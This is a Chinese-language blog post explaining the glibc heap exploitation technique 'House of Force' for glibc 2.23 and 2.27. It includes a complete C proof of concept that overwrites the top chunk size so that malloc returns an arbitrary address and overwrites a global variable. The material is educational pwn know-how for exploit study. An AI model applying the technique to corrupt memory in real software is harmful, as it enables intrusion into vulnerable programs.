House of Force

黎 浩然/ 28 5 月, 2022/ PWN, 安全/SECURITY, 计算机/COMPUTER/ 0 comments

glibc-2.23

House of force的基本思想是改变Top chunk的大小,使其变得很大(如MAX_INT,-1)。从而分配到程序中的任意地址。值得注意的是,C语言使用无符号数来表示size。所以无论要分配的地址在Top chunk的上方还是下方都无关紧要。

/*

   This PoC works also with ASLR enabled.
   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 
   ( <http://phrack.org/issues/66/10.html> )

   Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04

*/

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
	fprintf(stderr, "\\nWelcome to the House of Force\\n\\n");
	fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\\n");
	fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
		"and is the chunk that will be resized when malloc asks for more space from the os.\\n");

	fprintf(stderr, "\\nIn the end, we will use this to overwrite a variable at %p.\\n", bss_var);
	fprintf(stderr, "Its current value is: %s\\n", bss_var);

	fprintf(stderr, "\\nLet's allocate the first chunk, taking space from the wilderness.\\n");
	intptr_t *p1 = malloc(256);
	fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\\n", p1 - 2);

	fprintf(stderr, "\\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\\n");
	int real_size = malloc_usable_size(p1);
	fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\\n", real_size + sizeof(long)*2);

	fprintf(stderr, "\\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\\n");

	//----- VULNERABILITY ----
	intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
	fprintf(stderr, "\\nThe top chunk starts at %p\\n", ptr_top);

	fprintf(stderr, "\\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\\n");
	fprintf(stderr, "Old size of top chunk %#llx\\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
	*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
	fprintf(stderr, "New size of top chunk %#llx\\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
	//------------------------

	fprintf(stderr, "\\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\\n"
	   "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\\n"
	   "overflow) and will then be able to allocate a chunk right over the desired region.\\n");

	/*
	 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
	 * new_top = old_top + nb
	 * nb = new_top - old_top
	 * req + 2sizeof(long) = new_top - old_top
	 * req = new_top - old_top - 2sizeof(long)
	 * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
	 * req = dest - old_top - 4*sizeof(long)
	 */

	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;

	fprintf(stderr, "\\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\\n"
	   "we will malloc %#lx bytes.\\n", bss_var, ptr_top, evil_size);
	void *new_ptr = malloc(evil_size);
	fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\\n", new_ptr - sizeof(long)*2);

	void* ctr_chunk = malloc(100);

	fprintf(stderr, "\\nNow, the next chunk we overwrite will point at our target buffer.\\n");
	fprintf(stderr, "malloc(100) => %p!\\n", ctr_chunk);
	fprintf(stderr, "Now, we can finally overwrite that value:\\n");

	fprintf(stderr, "... old string: %s\\n", bss_var);
	fprintf(stderr, "... doing strcpy overwrite with \\"YEAH!!!\\"...\\n");
	strcpy(ctr_chunk, "YEAH!!!");
	fprintf(stderr, "... new string: %s\\n", bss_var);

	assert(ctr_chunk == bss_var);
}

glibc-2.27

House of force的基本思想是改变Top chunk的大小,使其变得很大(如MAX_INT,-1)。从而分配到程序中的任意地址。值得注意的是,C语言使用无符号数来表示size。所以无论要分配的地址在Top chunk的上方还是下方都无关紧要。

2.23和2.27的House of force没有什么不同。可是为什么House of force看起来这么牛逼的操作在题目中却用得很少了。我猜一个原因是它的副作用太大。因为它要将一块很大的内存映像分配出来,从而导致后续的malloc和free变得很容易出错。

Share this Post

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注

*
*